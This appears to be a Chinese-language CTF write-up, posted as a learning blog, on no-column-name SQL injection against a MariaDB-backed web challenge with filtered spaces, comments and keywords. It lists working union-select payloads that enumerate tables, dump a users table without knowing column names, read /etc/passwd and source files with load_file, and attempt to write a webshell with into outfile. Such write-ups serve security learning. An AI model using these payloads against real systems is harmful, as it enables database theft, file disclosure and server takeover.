无列名注入详解:无列名注入详解
参考自:本题目的详解
写博客只是为了输出学习而已,
无他
发现了 那个广告的地方可能有漏洞
第二次做:。没做出来,这里卡壳了:
就是 他是个单引号闭合的注入,然后过滤掉了 注释符,我们不能够去用注释去闭合单引号了,
然后这个题能够使用联合查询注入,也就是union select 这个最简单的方法,所以也就不用 报错的盲注了。所以 ' or '1
这些闭合单引号的东西就都不好使了,
,'2
。这样闭合,可以看下文其实这里是最繁琐。最难的地方,我这里就直接看WP了。
经过尝试发现过滤了空格,or,and,–+,#,order等关键字
然后 经过 报错的提示,我们猜测 后台的执行语句是:
select * from ads where tile = ‘$tltle’ limit 0,1
用group by 也就是以前的order by 看看有调取几行数据:
1'/**/group/**/by/**/50,'2
z这里的 , '2
。用来闭合用的。以前没见到多。这里学到了
多了,然后用二分法慢慢测:
然后21 。22都没有报错,23报错了,所以是22行
-1'union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'6
记得前面使之 不对,然后后面单引号闭合
他最后用单引号闭合了,但是这是算上单引号这个才是22个。所以他union select的时候,也将后面的这个单引号也给算上了,
-1'union/**/select/**/1,user(),version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'6
用 双注入查询
-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from information_schema.tables/**/where
/**/table_schema=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
查询表时,发现information_schema.tables被过滤,删除information_schema.tables后正常
而且Maria数据库的这个表 可以查表表明 :就是这个库: mysql.innodb_table_stats
所以,查询表:
-1'union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/
mysql.innodb_table_stats),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
-1'union/**/select/**/1,(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/from/**/users),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
然后发现, information_schema.columns 也被过滤了,
但是这回MariaDB数据库没有 专门存放列明的数据库了啊
这时候就要用到 无列名注入了!!!
然后,我就尝试:
-1'union/**/select/**/1,(select/**/*/**/from/**/users),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
不行啊,select * 不行,多了,还是 用 无列名注入把。。。
接着无列名注入:
这个是外文网站,讲得贼棒。
这个是 这个歌Web1 的题解。
情景假设:知道了一个 表明为 users 。然后 不知道列名,要查询 键值。
正常查询时。题目后面有 limit 0,1我们这里也带上。
然后,如果不知道 列名的话,怎么弄呢?
这个在题目中不好使,还是学无列名注入把。
这样就单独查询了 第 6 列。
这时,
如果 反引号被过滤了。也有其他的方法
不管是 用 反引号 还是 用 as 都是可以进行 group_concat
的
然后回到这题上面去:
这是payload:
-1'union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2,3/**/as/**/a/**/union/**/select/**/*/**/from /**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
这是查询第一列的数据的时候,
-1'union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
然后是 第三列,
payload:
-1'union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2,3/**/as/**/a/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,1 5,16,17,18,19,20,21,'22
ok,over了。
但是,这样的话,你可能想不明白这个sql数据库内部的数据到底是怎么存储的,
什么样子的格式,甚至,你只知道是用这个payload。但是当你自己真正做题的时候,
做到了这里,却迷迷糊糊,找不到flag在哪一列:
看这里,我的本地测试:
然后到了这个题这里:
-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
1'/**/union/**/select/**/1,(select/**/load_file('/etc/passwd')),database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'2
1'/**/union/**/select/**/1,(select/**/load_file('/flag')),database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'2
。是空的,,,不展示,,
看一下源码
1'/**/union/**/select/**/1,(select/**/load_file('/var/www/html/index.php')),database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'2
读取不到,那就写木马把,
1'/**/union/**/select/**/1,(select /**/''/**/into/**/outfile/**/'/var/www/html/shell.php'),database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'2
防火墙直接把环境弄崩 了。。。